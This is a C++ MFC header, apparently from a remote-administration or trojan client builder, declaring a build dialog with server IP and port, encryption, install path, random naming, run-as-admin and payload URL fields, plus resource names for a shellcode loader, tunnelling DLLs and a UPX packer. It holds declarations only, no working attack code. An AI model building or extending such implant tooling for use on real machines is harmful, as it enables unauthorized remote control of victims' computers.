111 lines
3.4 KiB
C++
111 lines
3.4 KiB
C++
#pragma once
|
|
|
|
#include "Buffer.h"
|
|
#include "LangManager.h"
|
|
|
|
// 读取资源:优先从 res 目录读取外部文件,如果不存在则使用内嵌资源
|
|
// resName: 外部文件名(如 "ghost_x64.exe"),为空时直接使用内嵌资源
|
|
LPBYTE ReadResource(int resourceId, DWORD& dwSize, const char* resName = nullptr);
|
|
|
|
std::string ReleaseEXE(int resID, const char* name, const char* resName = nullptr);
|
|
|
|
// ========== res 目录外部资源文件名定义 ==========
|
|
// 命名规范:<模块名>_<架构>.exe/.dll/.bin
|
|
// 架构:x86 / x64 / linux / macos
|
|
namespace ResFileName {
|
|
// Ghost 主程序
|
|
extern const char* GHOST_X86;
|
|
extern const char* GHOST_X64;
|
|
extern const char* GHOST_LINUX;
|
|
extern const char* GHOST_MACOS; // 预留
|
|
// TestRun 加载器
|
|
extern const char* TESTRUN_X86;
|
|
extern const char* TESTRUN_X64;
|
|
// ServerDll
|
|
extern const char* SERVERDLL_X86;
|
|
extern const char* SERVERDLL_X64;
|
|
// TinyRun
|
|
extern const char* TINYRUN_X86;
|
|
extern const char* TINYRUN_X64;
|
|
// SCLoader (Shellcode加载器)
|
|
extern const char* SCLOADER_X86;
|
|
extern const char* SCLOADER_X64;
|
|
extern const char* SCLOADER_X86_OLD;
|
|
extern const char* SCLOADER_X64_OLD;
|
|
// FRP 相关 (无架构区分,64位DLL)
|
|
extern const char* FRPC_DLL;
|
|
extern const char* FRPS_DLL;
|
|
// 工具
|
|
extern const char* UPX_EXE;
|
|
extern const char* RCEDIT_EXE;
|
|
}
|
|
|
|
CString BuildPayloadUrl(const char* ip, const char* name);
|
|
|
|
// CBuildDlg 对话框
|
|
|
|
class CBuildDlg : public CDialogLang
|
|
{
|
|
DECLARE_DYNAMIC(CBuildDlg)
|
|
|
|
public:
|
|
CBuildDlg(CWnd* pParent = NULL); // 标准构造函数
|
|
virtual ~CBuildDlg();
|
|
|
|
// 对话框数据
|
|
enum { IDD = IDD_DIALOG_BUILD };
|
|
CMenu m_MainMenu;
|
|
BOOL m_runasAdmin;
|
|
|
|
protected:
|
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
|
CString GetFilePath(CString type, CString filter, BOOL isOpen = TRUE);
|
|
BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult);
|
|
|
|
DECLARE_MESSAGE_MAP()
|
|
public:
|
|
CString m_strIP;
|
|
CString m_strPort;
|
|
afx_msg void OnBnClickedOk();
|
|
virtual BOOL OnInitDialog();
|
|
CComboBox m_ComboExe;
|
|
|
|
afx_msg void OnCbnSelchangeComboExe();
|
|
CStatic m_OtherItem;
|
|
CComboBox m_ComboBits;
|
|
CComboBox m_ComboRunType;
|
|
CComboBox m_ComboProto;
|
|
CComboBox m_ComboEncrypt;
|
|
afx_msg void OnHelpParameters();
|
|
CComboBox m_ComboCompress;
|
|
CString m_strFindden;
|
|
afx_msg void OnHelpFindden();
|
|
CEdit m_EditGroup;
|
|
CString m_sGroupName;
|
|
CString m_strEncryptIP;
|
|
afx_msg void OnMenuEncryptIp();
|
|
afx_msg void OnClientRunasAdmin();
|
|
CComboBox m_ComboPayload;
|
|
afx_msg void OnCbnSelchangeComboCompress();
|
|
CStatic m_StaticPayload;
|
|
CSliderCtrl m_SliderClientSize;
|
|
CEdit m_EditInstallDir;
|
|
CEdit m_EditInstallName;
|
|
CString m_sInstallDir;
|
|
CString m_sInstallName;
|
|
afx_msg void OnEnChangeEditInstallDir();
|
|
afx_msg void OnEnChangeEditInstallName();
|
|
afx_msg void OnEnKillfocusEditInstallDir();
|
|
afx_msg void OnEnKillfocusEditInstallName();
|
|
afx_msg void OnRandomName();
|
|
CButton m_BtnFileServer;
|
|
CStatic m_StaticDownload;
|
|
CEdit m_EditDownloadUrl;
|
|
CString m_sDownloadUrl;
|
|
afx_msg void OnBnClickedCheckFileserver();
|
|
afx_msg void OnCbnSelchangeComboPayload();
|
|
|
|
// 选 Linux / macOS 客户端时禁用 Windows-only 选项(架构 / 加壳 / 高级 group)
|
|
void EnableWindowsOnlyControls(BOOL enable);
|
|
};
|